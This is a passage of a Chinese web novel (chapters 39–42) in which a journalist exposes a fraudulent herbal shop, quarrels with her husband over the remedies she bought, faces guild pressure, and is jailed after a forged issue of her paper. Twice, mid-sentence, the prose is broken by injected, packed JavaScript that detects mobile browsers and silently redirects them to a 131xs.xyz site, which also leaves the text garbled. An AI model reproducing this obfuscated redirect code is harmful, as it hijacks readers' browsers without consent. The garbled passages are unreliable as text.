“您别着急。”孟允抒提出的这种病症正中掌柜的下怀,他安慰着她说道,“您来济宁堂,就算是找对地方了。我们专攻这些顽疾的调养,只要您按时按量服用我们的草药,假以时日定能药到病除。” “真的?”孟允抒欣喜若狂,感激涕零地说,“那真是太感谢您了,请您快些为我抓药吧。” “您别着急。”掌柜感慨道,“您看,您光是操心儿子的事,为他奔波忙碌,却从来不顾及自己。真是‘可怜天下父母心’。” 孟允抒了然,他这就开始打感情牌了。 果然,后面他说了一大堆要爱惜自己的身体,这样她儿子才能放心,而且照顾好自己才不会给孩子拖后腿之类的话,乍一听有理有据,令人信服。 “我看您这眼睛和耳朵不大好使,平日行动肯定多有不便。其实您这个问题也好解决,有好几位老人都说这个方子有奇效。” 说着,掌柜向她介绍了一种神奇的特效药,说是吃了之后能耳聪目明,让她重返年轻态。 “要不我先给您开几副药试试?要是效果好您再来。” 孟允抒还没来得及拒绝,掌柜又赶紧说道:“今日您来我店中抓药,也算是照顾了我们的生意,我们会按原价的八折给您算钱。当然,您若是不要,那我们也不会强迫您。只是我们实在不忍心看到您这样,还是会给您送一副草药。” 好家伙,哪个老年人能顶得住这样的攻势。难怪他们会稀里糊涂地着了济宁堂的道。 孟允抒今天本来就是来暗访的,自然要看看这些养生药方的真面目,于是点头应道:“那就有劳您按您方才说的那些给我抓药。” 掌柜做成一桩生意,兴奋地站起身,还不忘扶着孟允抒从屋内走出来:“之后您若是有需要,可以随时到济宁堂来,我们会为您免费义诊。” 骗子的服务态度还挺到位。 孟允抒被掌柜安排着先坐在正堂的椅子上等候,待掌柜叫到她的名字时,几副药已经被扎好了放在柜台上。 孟允抒飞快地瞥了一眼草药,发现其中并没有药方的踪影。 她伸出手哆哆嗦嗦地摸了一阵,开口问那名郎中:“大夫,您怎么只给我开了药,却不见药方?” “大娘您有所不知,这些药方都是从我祖上传下来的秘方,不能泄露给外人。”掌柜对她笑笑,“您别担心,我们济宁堂也是开了多年的老字号了,您用完这些药后来找我们再开就行。” 孟允抒心想,怪不得济宁堂不怕惹上官司。他们的交易没有任何凭据,空口白牙的,就算是官府也没办法断清这种案子。 舍不得孩子套不着狼,孟允抒付了高昂的药钱,提着药前往城中的另外几家药铺。 39. 隔阂 孟允抒坐在回府的马车上,指着脚下的那一堆草药,愤慨地和秋盈发牢骚。 “偌大的一个京城,还能找出来几个良心的商贩?” 上午在她去过济宁堂后,为了查证那些草药的真伪,以及他们所给的配方是否有效,孟允抒特意多跑了几家药铺和医馆,请他们帮忙看看那些草药的成分。 结果,没有一个人愿意直接告诉她答案,非得让她买了他们的药才肯答应她的请求。 孟允抒别无他法,只好一直装耳背和眼瞎,同时反复向他们描述她那个假儿子不举的事,将那些中药开了一遍又一遍。 这一连串事件导致的后果有两个。 第一,她得知济宁堂的草药以次充好,且缺斤少两,最重要的是那些药根本不对症,换句话说就是毫无作用。 第二,现在她手上有一堆治疗不举的草药,与之对应地还有几张写得明明白白的药方。 这么多东西显然不可能都堆在报社,孟允抒只能趁着回府先将它们带走,回头再想办法把这些草药倒腾出去。 孟允抒酣畅淋漓地骂了一通,这才将心中的气愤尽数发泄出来,最后用一句话作了总结:“探官真是贴钱上工。” 她绝对是个隐藏的受虐狂,这才当了这么些年的记者。 秋盈见她义愤填膺的模样,在一旁笑得东倒西歪:“你这说了一路都不见消停,待会回了府,当心一壶茶都解不了渴。” 车夫的声音适时地在前方响起,阻断了孟允抒的怒火:“夫人,我们到了。” 孟允抒下车进了门,顺口向门房问道:“许公子回来了吗?” “还没有。” 门房瞥了一眼孟允抒和秋盈,见她们手里提着一大堆草药,又补充道:“夫人若是有事找老爷,待他回来后我向他通报一声,让他直接去寻你。” “不必了,我没什么要紧事,晚些时候我再找他就是。” 近日许昭公务繁忙,回来得都比往日晚些。于是,孟允抒招呼秋盈去正厅,先将手头这堆麻烦的玩意塞到柜子里。 “来,先把东西放这。” 她把手上的几副药放在桌上,让秋盈也和她一起,而后转身去倒水:“天气太热了,一会不喝水我就口渴得受不了。咱们先歇上片刻,待会再收拾那些东西。” 秋盈取笑她道:“你看我方才说什么来着,你一路上都在说话,不口渴才怪。你看你热得,满头都是汗。” 说罢,她又取来扇子和手帕,走到孟允抒身边给她擦了汗,在她旁边落了座,给她扇着凉风。 几杯凉茶灌下去,孟允抒这才感到夏日的暑气消散了不少。她和秋盈闲聊了几句,门外进来一个小厮向她拱了拱手。 “夫人,昨日你差我们去买几棵盆栽装点院落,方才我们已经将它们搬了进来,您看放在哪里合适?” “走。”孟允抒起身叫上秋盈,对那小厮笑了笑,“你带我们去看看。” 许昭散值回来后,刚一跨进府邸的门槛,门房就叫住了他:“老爷。” 他看门房神秘兮兮的样子,不解地问道:“怎么了?” 门房飞快地向庭院的方向瞟了一眼,压低声音说道:“夫人今日回来的时候,和秋盈姑娘手上都提了不少草药。” 他在空中比划着药材体积的庞大,惊得许昭问道:“她有没有说那是做什么用的?” “没有。”门房摇头道,“这不是我们该管的事,她不主动说,我们也不能问,所以我也不知道夫人为何要买那么多药。但夫人平日待我们这些下人不薄,她若是……” 许昭明白他话中隐去的含义,因为他的心情比门房还要忐忑。 孟允抒过去本就体弱,整日泡在药罐子里,如今好了还没多久却又要服药,难道是因为她整日奔忙搞垮了身子? 门房凑近许昭,一脸紧张地说道,“我方才听夫人说先将这些药放在正厅的柜子中,老爷若是得空就赶紧去看看。” “我明白了,多谢。” 许昭得到线索,快步赶往正厅。 在经过院子时,他望见孟允抒和几个丫鬟小厮在花草旁说笑。孟允抒向他挥手致意,他也顾不上驻足停留,只是向她略一点头,急急忙忙地奔向正厅。 孟允抒犯起了嘀咕。许昭的性格向来沉静,她从来没见过他焦急慌张的模样。看他奔跑的方向,似乎是要前往正厅,也不知道那有什么吸引他的东西。 孟允抒捋着面前那盆花的枝叶,猛然意识到一件事。 坏了,她买的那一堆药还没收起来。 而且还是治不举的药。 “秋盈,我有点事先走了!” 她没敢耽误时间,撂下一句话就提起裙摆朝正厅飞奔。 要是再等下去,误会就闹大了。 一个小丫头困惑地问秋盈:“秋盈姐姐,夫人这是怎么了,我们要不要过去看看?” “不用。”秋盈笑吟吟地说着,她拿了把剪刀,气定神闲地修剪面前的绿植,“你们在这赏花就行。” 孟允抒气喘吁吁地赶到正厅门口,她刚扶着门框站稳,还没来得及平复气息,抬头就见许昭已经将那药方拿在手里了。 她心里凉了半截。 紧赶慢赶还是迟了一步。 那药方上白纸黑字地写着这些药材的功效,即使许昭不精通医术,也能看得明白这些药是治疗什么病症的。 而且许府上下,只有一个人可能是这些药的潜在治疗对象。 果然,许昭抬起头,眼神空洞地看向孟允抒。 “你认为我身患此种病症?” “没有。”孟允抒连忙将那张纸从他手里夺来,“你别胡思乱想。” 她先让许昭坐下来冷静一下,给他倒了水,一五一十地讲述了今天所发生的事。 许昭不放心地追问道:“你当真不是故意将这些药放在桌面,好让我一眼看见?” 孟允抒笃定地回答:“我向公子保证,绝对不是。” 许昭听完,只淡淡地说了句“原来如此”,而后又陷入长久的沉默。 他有什么心思都写在脸上,孟允抒一眼就能看出,许昭还在为这事耿耿于怀。 孟允抒想了想,装出一副委屈的模样问:“公子难道不相信我说的话?” “当然不是。”许昭回了她的话,却又提出另一个问题,“但世间的隐疾有千万种,你为何独独想到用这种病症当借口?” 这话问得孟允抒哑口无言。 当时她面对掌柜的疑问时,脑海中浮现的是许昭的形象,她似乎自然而然地就把他和“不举之症”联系起来了。 她还真不是问心无愧。 许昭先她一步为这个问题找到了解释。 “几个月前,你曾经问过我……” 许昭踌躇了一下,还是复述了孟允抒当初的那句话。 “……是否精于床笫之事。” 孟允抒低头盯着自己紧紧攥住的手帕,尴尬得脚趾抠地,胡乱应了句“嗯”。 当初她问出这句话时就已经是窘迫至极,但她怎么都没想到,这事还能化身回旋镖扎她第二次。 孟允抒用余光瞥了许昭一眼,他的视线落在别处,并未与自己的目光交汇。 许昭显然也察觉到两人间的氛围十分诡异,可他却不肯放 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“我不过是说了句话,你不至于这么高兴吧。” 话虽这么说,孟允抒脸上的笑容却比许昭还要明显几分。 许昭听到孟允抒的话,似乎找回了理智,他快步走过来,紧紧攥住孟允抒的手:“允抒,谢谢你。” 说着,他轻轻扶住孟允抒的后脑,凑近了她的面庞。 孟允抒忽然意识到他要做什么,于是闭上双眼,主动靠近许昭的双唇。 在她吻上许昭的前一秒,大脑中却响起一句话。 “你不是孟夫人吧。” 孟允抒心中一阵惊惶,她想要摆脱这句话,于是奋力伸出手将其推到一边,急促地否认道:“不对!” 当她反应过来时,看到的却是许昭惊疑的眼神。 孟允抒惊魂未定地喘着气,她发觉自己做了扫人兴致的事,垂眸向许昭道歉。 “抱歉。” 许昭没想到孟允抒会做出这样的反应,拉起她的手问道:“你怎么了?” 孟允抒看向许昭,他的眼神中满是担忧。 可她已经不确定许昭是在看谁了。 “我没事。”她摇摇头,将手从许昭的手中抽了出来,“方才我说过的那些话,还请公子不要放在心上。” 许昭焦急地问:“为什么?” 他等了这么久,好不容易听到孟允抒吐露心迹,但她却突然要收回那些话。 “时候未到。”孟允抒只说出几个简短的字,“公子请让我一个人待一会吧。” 许昭再继续待在这里她一定会反悔。 而且她现在心乱如麻,她担心自己会说出什么不妥的话来。 许昭没有对孟允抒所说的话作出任何表态,只是转身出了正厅。 她望着许昭远去的背影,心里却不像她想象中的那样轻松许多,反而比方才还要沉重几分。 孟允抒过去时常觉得,似乎有一堵看不见摸不着的障壁横亘在两人之间。正是因此,在许昭和她表明心迹之后,她依然迟迟不肯回应他。 现在她明白那层障壁是什么了。 和许昭成婚的是那位孟姑娘,和他产生恩怨纠葛的也是那位孟姑娘。孟允抒不知道,许昭对她的爱意里面,掺杂了多少责任感、愧疚、感激之情。 而这些感情的对象不是她。 孟允抒抬眼看向许昭的茶杯,方才他喝剩下的茶水还留在杯中。 许昭并不知晓内情却被她这样对待,他一定也是恼怒万分。 40. 打压 接下来的一周,孟允抒刻意保持着和许昭之间的距离,两人只在吃饭时稍微谈上几句话。 恍惚之间,孟允抒觉得她和许昭的关系仿佛又回到了原点。 秋盈当然也早已察觉到这一点,她曾与孟允抒谈心,在得知她的心结后却也犯了难。说到底这是孟允抒和许昭两个人之间的事,而且这其中的内情太复杂,她无法替孟允抒出面解决此事。 不过,虽然孟允抒在感情上陷入了困境,但在工作上并未出现纰漏,甚至比以前更加用心。 这倒不是因为她化悲愤为动力,而是由于近日报社招聘进来了一批新成员。他们对报社的工作尚不熟悉,难免出现失误;同时他们与老员工也存在诸多摩擦,他们互相磨合和熟悉还要花上好一阵功夫。 当下,孟允抒就正在耐心地为面前的一名新编辑做着心理疏导工作。 “你不必这样自我否定。催雪没有恶意,她就是这样的性子,心直口快,有什么说什么,并非是针对你本人。” “我知道。”对面的那人的情绪有所好转,但还是轻微地抱怨了一句,“盛副主编才华横溢,全京城的人都知道。可她要是以自己的水平作为标准,有几个人能入得了她的法眼?” 他这句话说得在理。 “嗯,催雪这点确实应当改改,稍后我会告诉她。”她对那位编辑笑了笑,“你若是没什么事,就回去忙吧。” 那名编辑刚刚起身,办公室的大门就被再次叩响。 孟允抒不知道这次又是谁来告状,她说了句“请进”,那名编辑则对来人叫道:“秋掌柜。” 孟允抒有些意外,通常情况下都是伙计们负责在报社中跑腿,秋盈一直守在前店。 待那编辑走后,办公室只剩下她和秋盈两个人,秋盈这才压低声音开口说道:“如玉行会的人来了,我让他们先在会客室等着。我们要不要再叫上几个伙计一同过去?” 如玉行会是京中书业行会的名称,总揽一切书业的管理事务。当初孟允抒在创办报社时,因为官府规定各商铺都要按行业登记在册,但因为民间小报并没有正规的经营形式,报业也并未作为一个独立的行业存在,她只能暂时加入如玉行会受其管辖,这样才能获得从业资格开门迎客。 行会的规矩很多,譬如日常经营需要遵守行会设定的章程;店内雇佣伙计与帮工需要经过行会同意,规模需要控制在他们准许的范围内。前些日子孟允抒和行首交涉得并不愉快,他们不同意孟允抒招揽新员工,但她才不可能乖乖听话,回来后就自作主张地开展了招聘活动。 眼下的状况显然是来者不善。 “不必了。”孟允抒思忖片刻对秋盈说道,“他们好歹都是些有头有脸的人物,至少不会在明面上乱来。你随我一同过去即可,不要惊扰旁人。” 行首是行会与官府交涉的首席代表,同时负责管理行会的日常事务。由于经常游走于各方组织之间,行首的权势日渐壮大,成为行业中的地头蛇,对从业者的影响力甚至远甚于正式官员。 孟允抒带着爽朗的笑声进了会客室,向行首行了一礼道:“胡行长要来报社怎么也不提前通知我一声,好让我做足准备。你看今日你来,我们有失远迎,又招待不周,还望行长海涵。” 胡行长也向她回礼笑道:“孟社长,我们已经是老熟人了,你不必多礼,快请坐。” 孟允抒扫了一眼胡行长身后的两个伙计,果然如她所料,胡行长是个体面人,今日来应当只是给她一个口头警告,并没有带大批人马前来兴师问罪。 可下次就不一定了。 胡行长喝了口茶等孟允抒坐定,这才不紧不慢地开口道:“孟社长果然经营有方,我方才在报社中转了一圈,见各部运行有条不紊,难怪你们的生意能够蒸蒸日上。” 孟允抒当然知道他这话是什么意思,却只是笑着奉承他:“我哪里懂得什么经营手段,我们报社全靠胡行长和如玉行会的照拂,这才能够安稳地在此地营生。” “孟社长此言差矣。”胡行长的脸上依然堆满了笑容,但孟允抒觉得那分明是笑里藏刀,“孟社长有胆有识,口齿伶俐,连大名鼎鼎的盛姑娘都能被你请来做工。要我说,我们行会非但帮不上你的忙,反而是拖累了你。” “胡行长这话真是折煞我了。”孟允抒还在装糊涂,“若是没有你们,我这报社连开张都难,更何谈后面的经营?” “只可惜孟社长的生意红火了,所以也不需要我们出手相助了。”胡行长转头看向窗外,院中有几个伙计在各部之间穿梭,行色匆匆,“你看,前几日我们商量好让你保持现状,先稳定经营上一段时日再议招揽人手之事,但孟社长显然有自己的主意。” 秋盈听出这句话的内涵,于是开口说道:“我们已经将社中账务送往如玉行会请您过目,也愿意按比例再向您多交一部分会费。从行会章程看我们的行为并无不妥,但您却始终不肯同意我们扩充人手。” 她缓和了语气说道:“报社事务日渐繁重,我们等不了那么久,只能先斩后奏。若是胡行长肯点头,我们愿意补上这部分会费;如果您觉得这个数太少,我们可以继续商议。” 孟允抒保持静默看向胡行长,等待他作出回答。 “孟社长和秋掌柜误解了我的意思。”胡行长并未松口,“我先前已经说过,如玉行会需要维持行业内的平等秩序,各位有钱一起赚,不能一家独大。所以这与你们缴纳多少会费无关,纵然你们给我黄金万两,我也不可能同意你们这样做。” 他这话说得好听,但现在黎民报社发展得如日中天,孟允抒在明里暗里受到多次倾轧,孟允抒对问题的根源心知肚明。 在报社迅速发展的同时,传统书坊的生意也衰退不少。孟允抒抢了这些人的饭碗,他们因此怀恨在心,胡行长当然也不可能任由黎民报社继续挤占他们的市场空间,于是利用他的威势来打压自己。 行会设立的初衷是同行互利,孟允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646401|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抒先前曾向行会提出,她愿意将经验分享给同行,帮助他们盈利。但说到底报业和书业是不同的行业,有许多人出于种种原因不能放弃书肆的经营,或是无法应用报社的运营模式。 而且至关重要的一点是,胡行长掌握着书业的经济命脉,他绝不可能让孟允抒爬到他的头上。只要将报业死死按在报社内部,孟允抒单凭这一家店铺就根本掀不起什么风浪。 孟允抒听着他的指控觉得有些好笑。不知道真正搞垄断的人到底是谁。 “孟社长,今日我言尽于此。若你知道悔改,现在主动辞退一批人还来得及。”胡行长给孟允抒下了最后通牒,“若你执意如此,后果你也知道。” 下场当然是被强制退出行会,关门大吉。 胡行长这句话已经是赤裸裸的警告和威胁,孟允抒保持着得体的笑容应道:“多谢胡行长提醒,容您给我些时间,我一定会给您一个满意的处理结果。” “那当然是再好不过。”胡行长起身向她行礼告辞,而后看了眼他身后的两个伙计,“我们走。” “胡行长请慢走,小心台阶。” 孟允抒和秋盈一同走到前店,将胡行长送到门外。 秋盈见胡行长的背影渐行渐远,轻轻叹息一声说道:“我们得抓紧时间想办法。” “嗯。”孟允抒略一点头,她刚才的说法不过是缓兵之计,秋盈自然也明白,“只希望最近来找我们麻烦的人能少点。” “啊!” 孟允抒刚一转身,一个身影就飞奔而来,结结实实地和她撞了个满怀。 这叫声的主人是排云。 “你小心些,别总是这样风风火火的。”秋盈略带责备地说了她两句,“出什么事了?” “孟社长抱歉。”排云赔着笑捂住额头,“我们已经问出来了,早上那个在我们仓库鬼鬼祟祟的人,他是受济宁堂的掌柜所托,故意来我们报社捣乱的。” 这事发生在孟允抒和员工谈心的时候。那会萧谨言去仓库取纸,接着就发出响彻云霄的哀嚎。全报社的职工都被他惊动,一大批人迅速赶往仓库,也正是因此他们才及时将那个潜在的作案人逮住,没有让他酿成大祸。 要是他在仓库里放一把火,后果不堪设想。 孟允抒觉得后怕,对排云说道:“走,你带我去见见他。” 说着,她又转头对秋盈说:“前面就交给你了,最近让伙计们都警惕点,勤盯着那些形迹可疑的人。还有,这周末要在社中举行保健知识宣传讲座,你记得让催雪再和那位郎中确认一下讲座时间和内容。” 孟允抒迈步向前,但每一步都走得无比沉重,肩上仿佛担着前所未有的压力。同行的恶意竞争、行会的打压控制、他们得罪过的人前来报复,这些事情都挤在一起,她却无从宣泄。 以前她在回府后还能和许昭说说自己的烦恼,可她现在不能毫无顾忌地做这些事了。 因为她是孟社长,却不是孟夫人。 41. 诬陷 开完选题会后,孟允抒回到办公室,翻了两页面前的文稿就困得睁不开眼睛。 这两日她忙得晕头转向,纵然她有个铁打的身体也经不起这般折腾。她把手旁的纸堆收拢整齐,将其推到一边后就趴在桌案上,打算稍微打个盹。 她的眼皮沉得厉害,脑袋刚埋在臂弯里就陷入睡眠中。 “社长,孟社长。醒醒。” 迷迷糊糊间,孟允抒好像听到有人叫自己,不住地摇晃着她的身体。 借助着这份外力,她勉强把自己从梦境的泥潭中拔了出来,将眼皮掀开一条缝隙,辨认出面前那人的身份。 “排云?” 孟允抒坐正身子晃了晃脑袋,好让自己眼中的景象更清晰些。 她恢复了神智,这才发现面前的景象不合常理,带着鼻音问道:“今日不是轮到你休息吗,怎么来报社了?” “社长,出大事了。”排云神色焦急地说起了她来报社的目的,“清早我去街上买东西,在路上听到有人叫喊着兜售《黎民日报》,就顺便过去看了一眼。但是,那上面的内容显然不是我们写的。” 她将手中的小报递给了孟允抒,语速飞快:“社长请看。” 孟允抒迅速将报上的内容读了一遍。 这篇报道中说,昨日程玄平上朝时曾因言语不妥被皇上抨击,加上先前他自身的丑闻,当今圣上已经对他深恶痛绝,要不了多久他就肯定要被贬官。像是为了增强这则消息的真实性和可信度,文章中还特意附上了皇帝斥责程玄平的诏书,注明这是皇上的原话。 孟允抒曾经许昭那里见过皇帝的亲笔书信,她能看得出,虽然这篇文稿的作者对皇上的语言风格已经模仿得有八九分相像,但这份诏书绝对不是出自皇上之手。 也就是说,这是一封伪诏。 编排朝廷的虚假新闻本就是重罪,再加上这封伪诏,作者恐怕是吃了熊心豹子胆才敢用这种手段牟利。 前阵子因为程玄平的丑闻传得人尽皆知,加上新党在朝堂中的崛起,民间舆论也呈现出翻转的态势,一时间民众都对程玄平的意见很大,人人都等着看他的笑话。此时这则消息显然是为了顺应民间舆论潮流而作,让各位读者看了觉得爽快。 孟允抒通读全文,当她的目光落到文章末尾时,顿时惊出了一身冷汗。 除了她的探官代号“芷兰”以外,那里还有一个眼熟的标识。 过去黎民报社为了打击盗版,孟允抒特意让社中的刻匠设计了一个独家图案,其样式复杂,所用技艺独特。因为手工篆刻存在误差,即使让同一个人再刻一遍也不可能与原图一模一样,复制难度极高,孟允抒将其作为了《黎民日报》的防伪标识,附在每期报纸的末尾。 而现在,这个图案赫然出现在了她眼前,也就是这则虚假新闻后方。 她抬头看向排云:“这是怎么回事?” “当时我看见这个标识也吓了一跳,但我害怕打草惊蛇,就买了一份小报,从那卖报人口中套话。”排云讲起了事件的经过,懊恼地说道,“但他对我十分戒备,我还没问上几句,那卖报人就发了火。我戳穿他的身份后,他面色一惊拔腿就跑,我没能追上他,七拐八拐地就让他跑没了影。” 排云看向孟允抒,心急火燎地问道:“社长,我们现在该怎么办?” 孟允抒先让她冷静:“别急,让我想想。” 根据排云的描述,这卖报人一副做贼心虚的模样,显然知晓这些小报是假借《黎民日报》的名义发行,但他的真实目的尚未可知,或许是想蹭他们报纸的名气,又或许是更糟糕的情况,想要把罪名转嫁给他们。 尽管她通过仔细观察能够甄别出这图案的真伪,可旁人一眼看过去,这与他们的标识别无二致。要是她想借此自证清白,这凭据实在不够充分。 孟允抒又翻回报纸的首页,仔细看了眼报头。这份报纸上标注的发行日期是昨天,想必已经在人群中流传开来。这消息如果落到官员手里,只要有一个人将它禀告给皇上,那她势必要去刑部走一遭。 眼下最重要的事就是打击谣言,揪出真正的作者。 孟允抒有了主意,吩咐排云道:“这样,你先让编辑部的人写一份公告澄清事实,告诉大家这则消息为假,也并非出自黎民报社,让民众不要上当受骗。其余的事就交给我。” 排云应了一声就急匆匆地跑出去,如今情况紧急,孟允抒也顾不上系统漫天要价的卑劣行径,直接在脑内唤醒了它,向其提问道:“我想知道是谁冒充我的名号发布了这则假消息,关于这件事你是否有线索?” 得到肯定答复后,孟允抒兑换了其中一条线索。 【在南华门街,有多家书坊聚集于此。】 如果这系统有实体,孟允抒绝对要冲上去给它一拳。 这都什么时候了,它还在这当谜语人? 孟允抒在脑中怒斥道:“你就没有更直白点的情报吗?” 【抱歉,虽然我是情报系统,但并不会直接向宿主提供全部真相,请您根据线索提示自行调查。】 从系统那获取线索和开盲盒差不多,为了节省些声望点,孟允抒决定再自行收集些有用的信息。 她也许可以去刻匠那里问问,看他能不能通过那图案推断出,京中有哪些人具备这般复刻的手艺。 作出决断后,孟允抒从椅子上起身。 还没等她走到门口,便听得门外传来一阵凌乱的脚步声和吵闹声。那声音从院中由远及近,眨眼间就冲破大门,出现在孟允抒面前。 来者共有五人,身上皆穿着公服,挂有腰牌,身份不言自明。秋盈站在他们身后,和几个伙计一起极力替孟允抒作出辩解。 接着,萧谨言和盛催雪等人听见动静也连忙赶来,排云手里还攥着那份小报的正文部分,显然他们已经知晓了假新闻的事,能够猜到这些官员来这里的目的。 众人七嘴八舌地吵嚷着,场面顿时乱作一团。 “住口。”为首的人被吵得心烦,神情严肃地警告他们,“方才我已经说过,若是有人再妨害公务,就和她一起去刑部大牢。” 孟允抒知道这事可能会惊动朝廷,但没料到刑部官员能来得这么快。 “秋盈。”孟允抒用眼神示意他们噤声,而后从容不迫地向那些人行了一礼,“不知诸位大人莅临报社所为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657086|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何事?” 为首那人没有回答她的话,只是快步向她走来,一把夺过她手中的小报残页。 那上面正标注着她的探官代号,还有那个假冒的防伪标识。 排云见状连忙解释道:“那是——” “原来其余部分在你手里。”那人闻声看向排云打断她的话,将她手里的报道正文也抢了过来。他将小报拼凑完整,扬起手中的纸张对孟允抒冷笑道:“物证就在你们手上,孟社长何必明知故问?” “此文并非由我所作,请大人明察。”孟允抒镇定地举证,“文章末尾那标识——” “打住。”那人并不给孟允抒辩解的机会,“这里不是断案的地方,孟社长要是觉得有冤,就请随我到刑部详述。” 他将小报折好递给身边的下属,自报家门道:“我是刑部郎中赵逾明,孟社长——” “哦不对。”他刻意停顿了一下,笑得更加不怀好意,“应该说是孟夫人,从许大人那里听过我的名字吧。” 孟允抒心头一紧。 刑部郎中有两名,除许昭外便是眼前这位赵逾明。许昭曾经告诉过她,赵逾明这人心狠手辣,最喜欢对犯人严刑逼供,而且是程玄平坚定不移的追随者。他和许昭平时就互相看不顺眼,几次三番地给许昭使绊子,总想着有朝一日把他从这个位置上挤下去。 方才赵逾明这句话向她透露了一个信息,即他已经知晓孟允抒和许昭的关系。 落到他的手里肯定没好果子吃。 当前时间紧急,赵逾明不可能给她留出辩白的余地,和他说那些客套话也没用。借着那些官员来绑她的机会,孟允抒直入正题道:“许郎在哪,他是否知晓此事?” “孟夫人搞出这么大的动静,你家夫君怎么可能不知道?”赵逾明大笑起来,好像他听到了一句相当滑稽的话,“今早上朝的时候,他就差指着皇上的鼻子骂他昏君了。所幸陛下宽宏大量,不仅没有同他计较,还让他回家休息,派人好生照看他。现在许大人应该在府中转着圈地散步吧。” 听他的意思,许昭应该是受到了监禁,但暂时没有大碍。这让孟允抒在暗中松了口气。 “好了,闲聊就到此为止。”赵逾明收敛笑容,转头递给随从一个眼神,“把她带走。” 报社成员见状都急忙冲上来,将这几名官员和孟允抒层层困在中间:“你们这是凭空污人清白!孟社长不能走!” 赵逾明没心思和他们纠缠,厉声喊道:“你们要是再胡闹,休怪我不客气!” 利刃出鞘的尖啸声令人群发出几声惊呼,孟允抒连忙提醒众人:“大家小心,退后!” 趁着赵逾明短暂地压制住了人群的骚乱,孟允抒迅速安排这几日的注意事项:“秋盈,我不在的时候,一切报社事务的最高决策权都交给你。谨言和催雪管理好探官和编辑。” 说到最后一句话时,赵逾明已经将她推出了门外,孟允抒不得不回过头对众人大喊:“其余人各司其职,照常上工!” 孟允抒被押上了车,这才有空将注意力放在自身上。 这场变故来得太过突然,她隐约觉得,这像是一个被提前设计好的阴谋。 42. 借题发挥 不到一炷香的功夫,孟允抒就被一行人押解至刑部大牢,狱卒将她一把推了进去。 趁着狱卒锁门,赵逾明站在牢房外对她笑道:“委屈孟夫人先在这将就着休息片刻,我还有别的犯人要审。不过别担心,因为你的案情重大,很快就能轮到你了。” 孟允抒见不得他那副小人得志的嘴脸,干脆闭上眼睛不搭理他。 等他们的脚步消失在大牢的长廊尽头时,她才重新睁开眼睛,环顾她周边的环境。 刑部的牢房中,只有靠近天花板的位置开了一个方形的窗户当作通风口,那缺口都还没有一个成年人的脑袋大,采光自然差到极致。 因为牢房终年不见天日,房间的环境十分潮湿,墙壁上全是纵横交错的裂缝,还有大片的苔藓和霉斑。孟允抒身下的稻草也呈现出相同的脏乱样貌,其间还夹杂着不少形态各异的虫蚁。 她觉得头皮发麻,赶紧挪开身子换了个地方坐着。 湿热的环境和刺鼻的异味让她不堪忍受,为了转移注意力,孟允抒开始根据现有的情报分析这件事的脉络。 首先,那份报纸是昨日发行的,但她今天中午才知情,今早她在系统那兑换舆情热点时,它也并未告知自己这条消息。这些信息证明,这则新闻的流传范围并不广泛。 由此可以推导出,那份报纸的发行方应当没有太多人手。 其次,赵逾明之前在话中提到,今早上朝时许昭曾和皇上因此事发生冲突,但昨晚许昭并未告诉她这条新闻,也没有表现出任何异常。他们两人是一条绳上的蚂蚱,她要是被定了罪,许昭也难脱干系。他不是拎不清的人,就算两人处在冷战阶段,许昭也不可能知情不报。 所以,他一定是在今天早上才得知这个情况。 在这个时间段内,他获取信息的渠道只有其他上朝的官员和皇上。由此可见,他们定然是先他一步知道消息。 而这个时间点只能是昨天。 昨日皇上没有出宫,应当是其他官员将消息告知了他。否则的话,若是这些人今早上朝才把这事说出来,皇上一旦得知他们在昨日就知晓这条新闻却隐瞒不报,一定会降罪于他们。 可这样一来,这件事中又出现了一个新的矛盾点。 此案事关重大,属于刑部的管辖范围。如果皇上下令彻查,许昭不可能听不到风声。除非他刻意避开了许昭,指派赵逾明全权负责此事,在暗中进行调查。 按常理来讲,孟允抒和许昭是夫妻,皇上想要让他回避实属正常。但问题的关键在于,孟允抒作为黎民报社的社长一直谨慎行事,她和许昭的关系只有秋盈与萧家的三位公子知道。 在调查之前,皇上如何得知此事,从而对许昭封锁了消息? 只有一种可能,即那位通报的官员在找皇上之前,就先行查明了她的身份,将此事连同她和许昭的关系一起禀报给了皇帝。 孟允抒蹙起眉头,盯着地上的蚂蚁艰难地翻过草堆。 那么,这位官员为什么要提前调查?如果事不关己,他没有必要大费周章地做这些事,搞不好还会落一个自作主张的罪名。 如黑夜中擦过一道闪电那般,一个名字赫然出现在她的脑海中。 程玄平。 在那篇报道中,当事人只有他和皇帝两个。 自从一月前他的丑闻被频频爆出,程玄平声名狼藉,在家庭和事业上也屡经波折,因此对民间小报恨之入骨,发誓要找出那些文章的作者。但是,各式各样的小报在京中随处可见,想要达成这一目标犹如大海捞针。 前些日子孟允抒和其他探官闲聊时就听说过,最近程玄平整个人都和魔怔了一样,天天念叨着要把始作俑者碎尸万段,还派了不少人整日在街上巡游,搜罗全城的小报,试图从里面发现蛛丝马迹。 孟允抒倒觉得这是件好事,她还借此机会让程府的人狠狠地给《黎民日报》冲了一波销量。 不过,由于这些人锲而不舍地守在大街小巷,无论是哪家的小报,都会第一时间流入程府,近日他们的消息甚至比孟允抒还要灵通许多。所以,昨日的那份盗版报纸一经发行就落到了程玄平的手上。 孟允抒的面色凝重起来。看来,眼下的情况比她想象得还要糟糕。 